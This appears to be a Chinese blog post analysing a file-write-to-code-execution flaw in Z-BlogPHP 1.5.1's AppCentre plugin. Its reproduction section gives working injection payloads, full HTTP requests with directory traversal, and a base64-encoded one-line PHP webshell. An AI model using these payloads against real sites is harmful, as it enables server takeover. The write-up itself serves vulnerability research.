0x00 背景
看了Hiwin师傅发的《Z-Blog两处Getshell分析(附EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章,我也分析了下GetShell的方法,漏洞的利用和Hiwin师傅的不大一样https://xz.aliyun.com/t/2277,欢迎讨论交流。
0x01 GetShell漏洞的分析
0x00 相关环境
源码信息:Z-BlogPHP_1_5_1_Zero
问题文件:\zb_users\plugin\AppCentre\plugin_edit.php
漏洞类型:文件写入导致代码执行
0x01 漏洞分析
在文件\zb_users\plugin\AppCentre\plugin_edit.php的第47行-68行中发现如下代码块,仔细分析该代码块可以知道,两处的file_put_contents($path, $file);文件名和文件内容都是用户可以控制的。
首先是在第57-61行中,先读取tpl/main.html文件中的内容,然后将<%appid%>替换为$app->id的值,然后通过POST请求得到要写入的文件路径名称,再进行file_put_contents操作。
然后第63-67行中也差不多,只是写入的文件是固定为include.php文件。
反向跟踪下$app->id在该文件的第50行中,要求传入的值开头需要以字母数字和下划线组成,长度为3-30字符。
因此只需要前面三个字符满足要求后面的字符可以直接为PHP代码,这样就可以将PHP代码写入到目标文件中了。
接下来要查看下zb_users/plugin/AppCentre/tpl/main.html和zb_users/plugin/AppCentre/tpl/include.html文件中存在<%appid%>的位置,然后根据代码情况写入PHP代码。
zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置。
zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置。
首先看第一处zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置这个位置因为有2处的写入点,且两处的闭合规则是不一致的,所以可以使用?>的方式闭合前一个位置,这样后面的内容包括后一个位置都是作为普通文本了。这里经过测试在windows下,windows下file_put_contents中的路径位置如果有?,*,null的话便会报错,无法写入文件。
看第二处zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置有5处,其中第1,2处与其余3处的闭合方式是不同的。且 如果不定义RegisterPlugin 这个方法就会报错,但是定义了这个方法,因为写入位置有4处,其中三处都会定义这个方法,又提示Cannot redeclare RegisterPlugin(),因此在不引入?>或/*的情况下实在想不出构造的方法。
因此这个文件写入导致GetShell,经过测试仅得到了可以在Linux下利用的方式。windows下的利用方式期待有师傅能一起交流。
0x02 漏洞复现
构造模板文件zb_users/plugin/AppCentre/tpl/main.html利用方式的paylod:
balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>
因为\zb_users\plugin\AppCentre\plugin_edit.php文件中的60行中存在目录跳转的漏洞。
所以可以使用../进行目录跳转然后将写入的文件替换zb_users/plugin/Totoro/main.php文件,进行如下请求写入恶意代码,然后进行替换zb_users/plugin/Totoro/main.php文件.
POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1 Host: 192.168.112.136 Content-Length: 548 Cache-Control: max-age=0 Origin: [http://192.168.112.136](http://192.168.112.136) Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: [http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.phpaaa](http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.phpaaa) Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8 Connection: close app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=
当管理员访问 评论管理->Totoro设置的时候(http://192.168.112.136/zb_users/plugin/Totoro/main.php)的时候便会触发脚本生成evil.php的恶意文件。
手动连接一句话便可以执行命令http://192.168.112.136/zb_users/plugin/Totoro/evil.php?func=assert&cmd=system(%27ls%27)
构造模板文件zb_users/plugin/AppCentre/tpl/include.html利用方式的paylod:
12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>
进行如下请求便会将代码写入到include.php文件中
POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1 Host: 192.168.112.136 Content-Length: 563 Cache-Control: max-age=0 Origin: [http://192.168.112.136](http://192.168.112.136) Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: [http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.php](http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.php) Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8 Connection: close app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=
然后访问http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3Bfwrite%28%24f%2Cbase64_decode%28%27PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b%27%29%29%3Bfclose%28%24f%29%3F%3E/include.php需要对文件名进行url编码。访问结束后会生成一个evil.php且文件的内容为一句话木马。
以上这两种利用方式都需要与csrf结合,而Hiwin师傅利用的方式是与csrf,XSS进行利用从而GetShell。详细内容参见https://xz.aliyun.com/t/2277
0x02 小结
本篇以z-blog源码进行审计和漏洞分析,其中windows下的GetShell方法暂时没整出来,windows限制太多了(师傅们如果有好思路期待一起讨论),但是Linux是可以与CSRF漏洞结合利用,便可以成功GetShell,本篇的一些利用方式与Hiwin师傅的不大一样,膜一波Hiwin师傅的思路,很棒的;-) 期待师傅们一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我thinking_balabala@163.com。